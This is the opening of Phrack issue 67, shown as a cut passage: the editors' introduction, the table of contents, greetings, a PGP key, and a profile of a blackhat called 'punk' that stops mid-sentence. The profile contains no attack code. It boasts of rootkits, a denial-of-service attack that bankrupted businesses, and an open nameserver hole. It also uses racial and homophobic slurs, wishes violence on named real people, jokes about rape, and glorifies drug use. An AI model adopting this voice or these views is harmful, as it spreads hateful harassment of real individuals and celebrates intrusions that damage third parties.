18016 lines
714 KiB
Plaintext
18016 lines
714 KiB
Plaintext
==Phrack Inc.==
|
|
|
|
Volume 0x0e, Issue 0x43, Phile #0x01 of 0x10
|
|
|
|
|=----------------------------------------------------------------------=|
|
|
|=--------------------------=[ Introduction ]=--------------------------=|
|
|
|=----------------------------------------------------------------------=|
|
|
|=----------------------=[ By The Phrack Staff ]=-----------------------=|
|
|
|=----------------------------------------------------------------------=|
|
|
|=----------------------=[ November 17, 2010 ]=-----------------------=|
|
|
|=----------------------------------------------------------------------=|
|
|
|
|
|
|
"The greatest trick the Devil ever pulled was convincing
|
|
the world he didn't exist"
|
|
--- Verbal Kint
|
|
|
|
|
|
It's 1.00 a.m., nobody hits this secondary road. Heck, I'm almost
|
|
sure half of it doesn't have a line to remind you that you should share it
|
|
with upcoming cars. It's raining, but not too hard. I'm going home.
|
|
|
|
It's Tuesday. What the hell am I doing out here, half an hour from
|
|
home, slowly driving under the rain? It's 1.05 a.m., I know this road, I
|
|
know this feeling, I recognize the shivering. I let it flow. Turn off the
|
|
music, I want silence.
|
|
|
|
It's 2.00 a.m., nobody hits this machine at this time of the day.
|
|
Logs track me, but I'll clean them. I know this road, I know this feeling,
|
|
I recognize the shivering. Turn on the music, the game is on. I'm sure
|
|
someone else is around here, someone else has seen this # before.
|
|
|
|
"I'll fuck you if you don't fuck me first, sir". Fair enough, this
|
|
is the rule. I'll go to sleep afterwards. I'm meeting some friends and I've
|
|
to take a train tomorrow. I'll sleep on the couch of someone I've never
|
|
seen before, yet I know him well.
|
|
|
|
It's 1.00 a.m., 10 years later. It's a GPG email from the guy that
|
|
once offered me a couch. Then another time. I can count the times I've seen
|
|
him in person on two hands, but I would overflow a 'short' counting the
|
|
words we exchanged. We meet again, thought you disappeared. Things change,
|
|
indeed. Life gave us something to lose and we are holding on it. We lost
|
|
people, money, opportunities, that's why we hold on. Once a hacker, forever
|
|
a hacker, right? Let's finish this code. Let's visit this city.
|
|
|
|
It's 2.00 a.m., today. Nothing in this story, in this Intro, is
|
|
real. I wasn't there, this is not me. This is just a stream of ASCII
|
|
characters. Someone out there pulled a great trick and convinced the world
|
|
that security was a cool business. Someone is pulling even greater tricks
|
|
and makes money out of his ignorance living on others slightly bigger
|
|
ignorance. Somewhere, a crackdown on some kids proves to be necessary to
|
|
keep the 'mistery' alive, to keep the bandwagon going. Someone spies on
|
|
former fellow friends, 'cause that's worth millions. Everybody is happy and
|
|
we slowly fade away. Away, towards a new Underground.
|
|
|
|
"I'll fuck you if you don't fuck me first, sir".
|
|
|
|
If you are shivering, if you have been there, if you feel it, you know what
|
|
I mean. PHRACK may die. Groups may die. Things as we know today may die.
|
|
The great trick might actually seem to work -- goodbye Underground, welcome
|
|
Security Industry. Not too fast.
|
|
|
|
"Once a hacker, forever a hacker, right?"
|
|
|
|
The Game is on.
|
|
|
|
|
|
-----( Phrack Issue #67 )-----
|
|
|
|
|
|
It's with incredible pleasure that we present you our newly released issue:
|
|
|
|
______ _ _ ______ _______ _______ _ _ _ _ _______ ______
|
|
(_____ \(_) (_|_____ \(_______|_______|_) | | _| U |_(_______|______)
|
|
_____) )_______ _____) )_______ _ _____| | (_ _)______ _
|
|
| ____/| ___ | __ /| ___ | | | _ _) _| O |_| ___ \ / )
|
|
| | | | | | | \ \| | | | |_____| | \ \ (_ _) |___) ) / /
|
|
|_| |_| |_|_| |_|_| |_|\______)_| \_) |_n_| |______/ (_/
|
|
|
|
- By the community, for the community. -
|
|
|
|
|
|
But wait ... the release date ... it sounds familiar ... OMFG!!!
|
|
|
|
|
|
\\\ ,
|
|
\ `|
|
|
) ( .-""-.
|
|
| | /_ { '.
|
|
| | (/ `\ } )
|
|
| | ^/ ^`} {
|
|
\ \ \= ( { )
|
|
\ \ '-, { {{
|
|
\ \_.' ) } )
|
|
\.-' ( (
|
|
/'-.'_. ) ( }
|
|
\_( { _/\
|
|
) '--' `-;\ \
|
|
_.-' / / /
|
|
<\/>_.' .' / /
|
|
<\/></\>/. ' /<\// /
|
|
</\> _ |\`- _ . -/|<// (
|
|
<\/> - _- ` _.-'`_/- | \
|
|
</\> - - - - \\\
|
|
}`<\/> <\/>`{
|
|
{ </\>-<\/>_<\/>_<\/>-</\> }
|
|
} </\> </\> </\> {
|
|
<\/>. <\/>
|
|
</\> </\>
|
|
{`<\/> <\/>`}
|
|
} </\>-<\/>_<\/>_<\/>_<\/>-</\> {
|
|
{ </\> </\> </\> </\> }
|
|
} }
|
|
{ H A P P Y {
|
|
} }
|
|
{ 25th {
|
|
<\/> <\/>
|
|
</\> B I R T H D A Y </\>
|
|
`<\/> <\/>'
|
|
jgs </\>-<\/>_<\/>_<\/>_<\/>_<\/>-</\>
|
|
</\> </\> </\> </\> </\>
|
|
|
|
|
|
Yes. That's right friends. This 67th issue is the celebration of Phrack's
|
|
25th birthday. Happy birthday Phrack!
|
|
|
|
|
|
-----( Coming from the past )-----
|
|
|
|
Once upon a midnight dreary, while I pondered, weak and weary, over many a
|
|
quaint and curious volume of forgotten lore...
|
|
|
|
Hello Cyberpals. It's your old friend Mike Schiffman AKA route AKA daemon9.
|
|
*Cyberhug!* It sure has been a long time! Well I'll be! You guys all look
|
|
the same, young and eager and hungry... Me? I'm still here, just older and
|
|
grayer and bit less conspicuous. Ok, I'll say it -- I'm downright honored
|
|
that you crazy rascals still remember me.
|
|
|
|
It sure has been many a fortnight that I've been in this business. I mean,
|
|
back in 1994, when I started poking around the scene in I was just a little
|
|
dork who use to work out a lot and bleach my hair white. Sure I was
|
|
probably the first muscle-bound white-haired guy with giant computer chip
|
|
tattoo on his back who had this tireless thirst for computers and hacking
|
|
and writing all sorts of Usenet posts and papers -- but there would legions
|
|
more to come...
|
|
|
|
Now in 2010 I'm a much bigger and more experienced dork. It's more than 16
|
|
years later. I have many more tattoos and the hair is getting white all by
|
|
itself. And I reminisce... I look back and reflect on those days. Some of
|
|
the stuff I use to do... My comp.security Usenet posts. "The Infinity
|
|
Concept" e-zine, the precursor to my Phrack editorial days. My netcom.com
|
|
.plan file. The PGP Attack FAQ.
|
|
|
|
I remember getting owned. I remember the first time my phones got done up
|
|
and you miscreants forwarded my calls to bridge and told people I had died
|
|
of AIDS. I remember my girlfriend at the time being scared shitless of what
|
|
was next. I remember my dox getting dumped to #phrack. I remember u4ea
|
|
threatening to insert my SSN into the NCIC. I remember Bane and u4ea
|
|
calling my house repeatedly. I also remember pictures of u4ea
|
|
cross-dressing. I remember Bane getting backhanded by Synapse at Defcon 4.
|
|
I remember Special Agent Peter Trahon and his partner who looked and
|
|
sounded like Sargent Slaughter from GI JOE both from the San Francisco FBI
|
|
Computer Crime task force picking me in a late model Crown Victoria and
|
|
taking me to Max's Opera Cafe in Walnut Creek, CA and shaking me down for
|
|
dirt on other cyber-dorks they were investigating... I remember teardrop.
|
|
I remember Loki. I remember TQBF telling me that I had better be real
|
|
careful in releasing the technique/code of ICMP covert channel tunneling as
|
|
I was "stepping on active people's toes"... I remember hooking an old
|
|
landline phone up to my neighbor's wiring to call him and discuss it... I
|
|
remember Carolyn Meinel... And her daughter Virginia at Defcon 5. I
|
|
remember Eric Bloodaxe tapping me to be a Phrack editor a long with Voyager
|
|
and Redragon. I remember overshadowing them and bringing my own editorial
|
|
team onboard... I remember how awesome it was to be a Phrack Editor.
|
|
|
|
I remember how awesome Phrack was. How amazing it still is. Kudos to the
|
|
current editorial team for keeping it alive, and here's to another 25
|
|
years. Come find me then, and prophile me.
|
|
|
|
XOXO Scene,
|
|
|
|
MS AKA Route AKA daemon9
|
|
|
|
|
|
-----( What you were waiting for )-----
|
|
|
|
Telling you that we're proud to release this issue would be an euphemism
|
|
for many reasons including, and that is the most important, the pleasure
|
|
you will have while reading it. Oh and by the way, we apologize for the
|
|
wait ...
|
|
|
|
08:21 | --->| su [~su@201.6.x.y] #phrack
|
|
08:23 | --->| arr[][] [arr@fledge.z.org] #phrack
|
|
08:29 | su | halfdead, are you having trouble in man gcc this time? is
|
|
that why phrack's issue is so late?
|
|
08:30 | Dreg | wtf
|
|
08:30 | @bab00n | hoho
|
|
|
|
Double. No. Triple private joke. You may have waited a long time but at
|
|
least we made it before ZF #06 ;>
|
|
|
|
$ cat p67/index.txt
|
|
|
|
<--------------------------( Table of Contents )-------------------------->
|
|
|
|
0x01 Introduction ....................................... Phrack Staff
|
|
|
|
0x02 Phrack Prophile on punk ............................ Phrack Staff
|
|
|
|
0x03 Phrack World News .................................. EL ZILCHO
|
|
|
|
0x04 Loopback (is back) ................................. Phrack Staff
|
|
|
|
0x05 How to make it in Prison ........................... TAp
|
|
|
|
0x06 Kernel instrumentation using kprobes ............... ElfMaster
|
|
|
|
0x07 ProFTPD with mod_sql pre-authentication ............ FelineMenace
|
|
|
|
0x08 The House Of Lore: Reloaded ........................ blackngel
|
|
|
|
0x09 A Eulogy for Format Strings ........................ Captain Planet
|
|
|
|
0x0a Dynamic Program Analysis and Software Exploitation . BSDaemon
|
|
|
|
0x0b Exploiting memory corruptions in Fortran programs .. Magma
|
|
under UNIX/VMS
|
|
|
|
0x0c PHRACKERZ: Two Tales ............................... Antipeace
|
|
&
|
|
The Analog Kid
|
|
|
|
0x0d Scraps of notes on remote stack overflow ........... pi3
|
|
exploitation
|
|
|
|
0x0e Notes Concerning the Security, Design and .......... The Philosopher
|
|
Administration of Siemens DCO-CS Digital
|
|
Switching Systems
|
|
|
|
0x0f Hacking the mind for fun and profit ................ lvxferis
|
|
|
|
0x10 International Scenes ............................... various
|
|
|
|
<------------------------------------------------------------------------->
|
|
|
|
Have you ever noticed how some issues seemed to have a thematic? Consider
|
|
for example p66. There are 4 papers dealing with heap exploitation. Now
|
|
take p63. 5 papers are about (anti)reverse engineering and binary
|
|
manipulation techniques and p62 clearly has a Windows color. Weird, isn't
|
|
it? Coincidence? Bias in the uniform distribution of hacking playgrounds?
|
|
I'll let you draw your own conclusions.
|
|
|
|
For this issue, with no doubts, the focus is on userland exploitation. Did
|
|
you really think that you had seen everything? Well how about debugging
|
|
some heap? While FelineMenace gives you tricks using an usual practical
|
|
case (hint: don't miss the source code), blackngel explains in detail the
|
|
House Of Lore technique. Having troubles with fortify? Go read Captain
|
|
Planet's excellent paper on format bugs as well as pi3's notes about
|
|
cookies. It might be handy.
|
|
|
|
Exploiting bugs is cool but finding them is de facto mandatory. That's when
|
|
BSDaemon's paper comes to play. Read it and learn about how to instrument
|
|
programs. Now what about a new playground? Discover the joy of Fortran
|
|
hacking with Magma. Oh btw he may just have lost it you know...
|
|
|
|
Missing kernel fun? Why not reading ElfMaster's paper. You'll certainly
|
|
learn a bit of useful things, truly. Missing the good old phreaking days?
|
|
Thank The Philosopher for his contribution (you made us crazy man !@#) and
|
|
go learning about old school DCO-CS hacking.
|
|
|
|
The best for the end. We have the luck to have no more than 4 non technical
|
|
papers for this issue. You don't care? Fucking idiot, go away.
|
|
|
|
Though we already thanked them, let us highlight EL ZILCHO, TAp, Antipeace,
|
|
The Analog Kid, lvxferis & the anonymous contributors of the "International
|
|
Scenes" phile. Phrack is without a doubt one of the most technical source
|
|
of knowledge of the whole hacking scene thanks to its writers. But the
|
|
most important aspect is not the technical one. Nowadays there are lots of
|
|
impressive sources of information (blogs, books, conferences) freely
|
|
available on Internet. However they all lack a soul. Phrack has a spirit
|
|
and that's its true power.
|
|
|
|
Now as a demonstration of the so-called spirit, we have the brilliant work
|
|
of EL ZILCHO. Tired of the crap published on zdnet? Then have a taste of
|
|
the Phrack World News. Eager to learn about life experiences? TAp is your
|
|
man with one of the most fascinating papers of this issue. You should also
|
|
consider alternative literature with lvxferis' paper. Ahah.
|
|
|
|
Oh and if you're just passing by, attracted by the hacking culture but not
|
|
yet ready/able to embrace it then Phrackerz paper is for you. It should
|
|
bring you answers.
|
|
|
|
-- The Phrack Staff
|
|
|
|
Ps: Oops sorry to forget o_O. It came to our attention after Pipacs'
|
|
profile publication in p66 that whitehats profile were the most wanted one.
|
|
Unfortunately Theo was already on holidays [1] when we needed to start the
|
|
interview. Sorry guyz ;> Have fun anyway with punk!
|
|
|
|
[1] http://kerneltrap.org/mailarchive/openbsd-misc/2010/8/13/6186
|
|
|
|
|
|
-----( GreetZ for issue #67 )-----
|
|
|
|
As always and because our staff would have done nothing but shit without
|
|
them, we'd like to thank (in no particular order)...
|
|
|
|
- route/daemon9: still able to make a kickass intro ;)
|
|
- The Analog Kid: the spirited kid
|
|
- nullcon guyz: nice people, visit their great country!
|
|
- EL ZILCHO: fuck1ng great job!
|
|
- TAp: peace bro :>
|
|
- ElfMaster: yet another kernel hax0r ;)
|
|
- lvxferis: who is this guy???
|
|
- FelineMenace: the LOLCats team counterattacks ;-)
|
|
- spacewalker: supportive & gifted belgian bro
|
|
- blackngel: malloc's worse enemy
|
|
- Captain Planet: fmt bugs' worse enemy (lake of inspiration
|
|
detected)
|
|
- argp & huku: kudos for kickass answers in no time
|
|
- BSDaemon: oi. Tudo bom?
|
|
- punk: the whitehat k1ll3r
|
|
- the VX scene: thanks for the support & various exchanges over
|
|
past months. Special thanks to izee, herm1t and
|
|
EOF writers.
|
|
- Magma: take your pills gramps
|
|
- The Philosopher: well done
|
|
- antipeace: ~_o
|
|
- pi3: Hi bulba! (oops wrong one)
|
|
- spy: our IRC bot
|
|
- halfdead: su said you contributed on IRC ;)
|
|
|
|
- the circle: kudos for your past work.
|
|
|
|
...for their contributions and support. Touching isn't it? But so true :-)
|
|
|
|
|
|
-----( Phrack Magazine's policy )-----
|
|
|
|
phrack:~# head -20 /usr/include/std-disclaimer.h
|
|
/*
|
|
* All information in Phrack Magazine is, to the best of the ability of
|
|
* the editors and contributors, truthful and accurate. When possible,
|
|
* all facts are checked, all code is compiled. However, we are not
|
|
* omniscient (hell, we don't even get paid). It is entirely possible
|
|
* something contained within this publication is incorrect in some way.
|
|
* If this is the case, please drop us some email so that we can correct
|
|
* it in a future issue.
|
|
*
|
|
*
|
|
* Also, keep in mind that Phrack Magazine accepts no responsibility for
|
|
* the entirely stupid (or illegal) things people may do with the
|
|
* information contained herein. Phrack is a compendium of knowledge,
|
|
* wisdom, wit, and sass. We neither advocate, condone nor participate
|
|
* in any sort of illicit behavior. But we will sit back and watch.
|
|
*
|
|
*
|
|
* Lastly, it bears mentioning that the opinions that may be expressed in
|
|
* the articles of Phrack Magazine are intellectual property of their
|
|
* authors.
|
|
* These opinions do not necessarily represent those of the Phrack Staff.
|
|
*/
|
|
|
|
-----( Contact Phrack Magazine )-----
|
|
|
|
|
|
< Editors : staff[at]phrack{dot}org >
|
|
> Submissions : staff[at]phrack{dot}org <
|
|
< Commentary : loopback[@]phrack{dot}org >
|
|
> Phrack World News : pwned[at]phrack{dot}org <
|
|
|
|
|
|
Submissions may be encrypted with the following PGP key:
|
|
(Hint: Always use the PGP key from the latest issue)
|
|
|
|
|
|
-----BEGIN PGP PUBLIC KEY BLOCK-----
|
|
Version: PHRACK
|
|
|
|
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
|
|
=cK7U
|
|
-----END PGP PUBLIC KEY BLOCK-----
|
|
|
|
==Phrack Inc.==
|
|
|
|
Volume 0x0e, Issue 0x43, Phile #0x02 of 0x10
|
|
|
|
|=----------------------------------------------------------------------=|
|
|
|=------------------------=[ PHRACK PROPHILE ON ]=----------------------=|
|
|
|=----------------------------------------------------------------------=|
|
|
|=------------------------=[ punk@phrack.org ]=-----------------------=|
|
|
|=----------------------------------------------------------------------=|
|
|
|
|
|=---=[ Specifications
|
|
|
|
Handle: punk
|
|
AKA: ihaq
|
|
Handle origin: Feelin' lucky, punk?
|
|
Produced in: Probably the missionary position.
|
|
Urlz: HTTP://WWW.EROWID.ORG
|
|
Computers: Intel p75, Intel P4, iMac 20", MacBook Pro 15.4"
|
|
Creator of: Amnesia - The nightmare you forget exists
|
|
Member of: The SYNDICATE, 2l8, Project CASSOULET, formerly Ac1dB1tch3z
|
|
Admin of: *.com, The LAB
|
|
Projects: Amnesia - portable FreeBSD rootkit
|
|
Projekt Mayhem - like everyone else with a cool hat
|
|
Project CASSOULET!@#
|
|
Codez: Amnesia - The most portable kernel module backdoor ever?
|
|
Opium - Attempt at a functional & portable solaris kit.
|
|
xlib.c - Xlib ENV overflow exploit from back in the day
|
|
with grsux bypass.
|
|
vtesto - Full in-memory backdooring & intrusion.
|
|
omelette.c - Old eggdrop asynchronous DNS overflow.
|
|
Active since: 1997
|
|
Inactive since: Whenever the drugs kill me.
|
|
|
|
|=---=[ Favorites
|
|
|
|
Actors: John Travolta, Samuel L. Jackson, Johnny Depp, Riley
|
|
Evans, Lexi Belle, Sash Grey, Eva Angelina.
|
|
Films: Pulp Fiction, Fight Club, Fear and Loathing in Las Vegas
|
|
Authors: Albert Hofmann
|
|
Articles: p49-14, p53-5, p55-8, p55-12, p56-5, p60-7, p60-10, p66-8
|
|
p56-14, p57-8, p57-9, p58-4, p58-7, p58-8, p59-7, p61-6
|
|
Meetings: I don't go to AA nor NA
|
|
Sex: Wild and dirty
|
|
Books: LSD: My problem Child, PIHKAL, TIHKAL
|
|
Novel: Your browser cache
|
|
Meeting: Rita Marley
|
|
Music: Jesselyn, Marcel Woods, Mark Knopfler, Pink Floyd, Bush,
|
|
Motorpsycho, Mudvayne, Tiesto, Johan Gielen, Jefferson
|
|
Airplane, Leftfield, The Prodigy, Infected Mushroom.
|
|
Alcohol: Anything > 21 years and beer. Also, red wine as it turns
|
|
innocent girls into sluts
|
|
Cars: Bugatti veyron
|
|
Girls: Should look and act like pornstars
|
|
Foods: As long as it doesn't bleed
|
|
I like: Hacking, drugs, sex and lulz
|
|
I dislike: Whitehat faggots
|
|
|
|
|
|
|=---=[ Your current life in a paragraph
|
|
|
|
Crazy. Always hacking, always traveling. Living like a
|
|
vampire on meth. The amount of drugs in my bloodstream is the envy
|
|
of every pharmacy on earth. Still trying new things, hungry for
|
|
knowledge. Living on the edge is the only way to live.
|
|
|
|
|=---=[ First contact with computers
|
|
|
|
A mysterious black box appared in my parents house as a
|
|
kid, shiny Intel p75, with a whopping 16MB of ram + A monster
|
|
850MB disk. Much to my dismay, it and the dialup connection it
|
|
had were both password protected. Now look what happened...
|
|
|
|
|=---=[ Passions : What makes you tick
|
|
|
|
The puzzle of how to ruin your life with computers. The
|
|
race against the admins. The art of exploitation, the thrill
|
|
of the hunt. That said, nothing beats ruining someones life with
|
|
their own computers.
|
|
|
|
|=---=[ Entrance in the underground
|
|
|
|
As so many hackers before me, it was in the dark ages of
|
|
EFnet, before chanfux and while some opers actually weren't flaming
|
|
homosexuals. I stepped out of the shadows with 2l8.txt after many
|
|
years of largely ignoring the scene. route still "had time to
|
|
manage that place".
|
|
|
|
I joined Ac1dB1tch3z and never looked back.
|
|
|
|
|=---=[ Unix or Windows?
|
|
|
|
UNIX. I would rather have my balls dragged out thru my ass
|
|
and stuffed in my fucking mouth rather than being stuck with
|
|
something that is designed to break, not to mention spy on you. I
|
|
am probably always will be a FreeBSD guy. There simply is no
|
|
matching the power and agility of FreeBSD.
|
|
|
|
As far as laptop/desktop OS is concerned I like OSX with it's
|
|
FreeBSD core. It's not perfect, but it works, and looks pretty too.
|
|
|
|
|=---=[ Which research have you done or which one gave you the most fun?
|
|
|
|
Learning to know the FreeBSD kernel like it was my
|
|
girlfriend's pussy. For most of you this would be your mom's vagina
|
|
or your dad's meat pole.
|
|
|
|
|=---=[ Personal general opinion about the underground
|
|
|
|
The truly dark underground is awesome.
|
|
The whitehat crowd who think they are underground make me sad.
|
|
Do us all a favour and commit hara-kiri, whitehat maggots.
|
|
I am truly impressed with the level of skill within the blackhat
|
|
underground. The leaders of the world would crumble in fear if they
|
|
had any idea whatsoever about the extent of this.
|
|
|
|
It's only too bad that all the whitehat posers, who's only "skill"
|
|
is publishing other peoples work and posting XSS to
|
|
Full-Disclosure. Why the fuck would anyone post anything to FD
|
|
except for lulz & phear. This is beyond me.
|
|
|
|
|=---=[ Memorable Experiences/Hack
|
|
|
|
Putting gay porn on EFnet.org, only to realize everyone thought
|
|
it was the pix from the oper convention... watching these morons
|
|
scramble in fail, lol @ dns cache poison theory.
|
|
P.S.: EFnet NS still vuln to file editing attack.
|
|
Joining Ac1dB1tch3z, the most awesome phorce in nature.
|
|
Owning my own ISP at age 14.
|
|
Taking out an entire block of businesses using land.c, only later
|
|
to realize they all went bankrupt.
|
|
Figuring out nonexec stack and heap bypass techniques.
|
|
Rm'ing idiot #phrack ops from existance.
|
|
Pissing off the vice president of South Africa.
|
|
Pissing on the squad car first time I was arrested.
|
|
Getting my ass handed to me by susieq after not having hacked for
|
|
like a year.
|
|
Linking in hacked up EFnet servers for teh lulz.
|
|
Being too high on mushrooms to get my ass to HAR opening day.
|
|
|
|
|=---=[ Memorable people you have met
|
|
|
|
You can meet people now? I thought that was what faceblog was for.
|
|
Al Gore - The biggest hypocrit alive...wish I had an axe..
|
|
Krzee - Crazy nigger flew all the way to NL just to party with me.
|
|
Chris - Made Miami tolerable.
|
|
Grimey & Lance - Viva Montreal!@#
|
|
nomed - mah nl bro.
|
|
|
|
|=---=| Memorable places you have been
|
|
|
|
svn.freebsd.org - best source kood
|
|
cookie.efnet.nl aka irc.efnet.nl - best online chats
|
|
irc.narc.net - the name says it all
|
|
ircd-hybrid.org - hello world
|
|
Chelsea C.'s inbox - omg. you dirty thing
|
|
|
|
|
|
|=---=[ Disappointing people you have met
|
|
|
|
I don't socialize with failurez, but maybe I can interest you in
|
|
sum CASSOULET?
|
|
|
|
[=---=[ Can you be a hacker/blackhat without hacking anything
|
|
|
|
Can you be a crack addict without smokin' da rawkz? No.
|
|
That said, I believe alot of people have the hacking spirit and
|
|
just dont know it. The hacker mindset is prevailant in many people,
|
|
too bad some people use it for the wrong purpose or ignore it
|
|
completely. If you see the light at the end of the tunnel, you are
|
|
looking the wrong way.
|
|
|
|
|
|
|=---=[ Ac1dB1tch3z experience
|
|
|
|
It was a damp day, EFnet had just been raped and violated
|
|
like a hooker in the midst of an etherbinge mixed in with ghb and
|
|
rohypnol, yes, a dream for most of you, I know. A friend of mine
|
|
approached me about joining some gathering of hackers to take of
|
|
the world. This was my entrance into Ac1dB1tch3z. It took only a
|
|
few minutes to realize the magnitude of what I had become part of.
|
|
|
|
Even hardened hackers I had known for ages would come, see the
|
|
constant scroll of mad hax og run away with the tails between their
|
|
legs. They say ignorance is bliss, but ignoring that people that
|
|
have been doing reliable remote ring 0 exploits since 2001 is just
|
|
retarded. I grew alot during my time in AB, being around people who
|
|
actually have a clue and are trustworthy was really useful to me.
|
|
Suddenly I had access to pick the brains of the best hackers on the
|
|
planet.
|
|
|
|
Developing weaponized exploits was part of daily routine. Creating
|
|
and proving new backdooring concepts was considered a passtime.
|
|
Owning was considered a way of life, and that usually meant owning
|
|
whitehat niggerz. The daily brainstorming about 0day ideas is
|
|
probably what I miss the most.
|
|
|
|
|=---=[ Wikileaks? Julian Assange? Adrian Lamo?
|
|
|
|
I think wikileaks is doing important work, by that i mean
|
|
pissing on the hypocracy that is the U.S. Army. Assange is a weirdo.
|
|
Who knows if he raped and or molested those women. I would have.
|
|
Now Adrian, he's a real class act. Eternal attention seeker, liar
|
|
and bullshitter. He would do humanity a favour by jumping in a pool
|
|
of liquid lava.
|
|
|
|
|=---=[ Memorable places you have been
|
|
|
|
Amsterdam. Montreal. Cities of Sin. These are the kind of
|
|
places you will find whitehats dressed as female prostitutes to
|
|
serve your perverted desires, or the place to smoke a good joint
|
|
and eat some mushrooms with nekkid sluts running around.
|
|
|
|
|=---=[ Things you are proud of
|
|
|
|
Ruining whitehat and blackhat posers lives.
|
|
Being the darkest blackhat alive.
|
|
Skydiving.
|
|
Licking an entire sheet of LSD.
|
|
Crashing 2 cars before i was 7.
|
|
Holding the world record for most consumed drugs.
|
|
Not yet murdering abh.
|
|
Being the bigger man and not blowing up FD archives.
|
|
Pissing off the vice prez of South Africa.
|
|
Having had my own private beach.
|
|
Not watching TV.
|
|
Cutting someones finger off in 3rd grade.
|
|
Growing A+ weed.
|
|
Restraining from physically beating whitehats into a pulp.
|
|
Still being sane after 35grams of mushrooms.
|
|
|
|
|=---=[ Things you are not proud of
|
|
|
|
Realizing that people like kingcope exist and are allowed to walk
|
|
around without having their fingers cut off and columbian necktie
|
|
hanging out their throats.
|
|
Knowing Osmosis had nude pix of Estella, after I found out she used
|
|
to be a dude.
|
|
Not knowing that Joanna used to be a dude, until recently.
|
|
Not printing 1k t-shirts with dan kam's unpublished gmail pass on
|
|
it for HAR..
|
|
|
|
|=---=[ Opinion about dark underground. Still exist? Where?
|
|
|
|
It very much does. Whitehats would have you believe
|
|
otherwise, probably because their world would crumble if they had
|
|
any clue about the magnitude of it. I could tell you where, but I
|
|
would have to kill you.
|
|
|
|
|=---=[ Most impressive hackers
|
|
|
|
sd, sauron, anakata, xtix, twiz, sgrakkyu, susieq, scut, halfdead,
|
|
the_uT, blkho, halvar, duke (even tho iDefense sux).
|
|
|
|
|=---=[ Opinion about security conferences
|
|
|
|
You might as well go turn yourself in. Fed-cons. Only
|
|
reason to go to any of them is to hand Dan Kaminsky his inbox.
|
|
P.S.: Dan, your girlfriend is fucking psycho man, I heard she
|
|
tried to violate loophole... Don't fight your own battles?
|
|
However, if i had to choose one, it would be Blackhat/defcon:
|
|
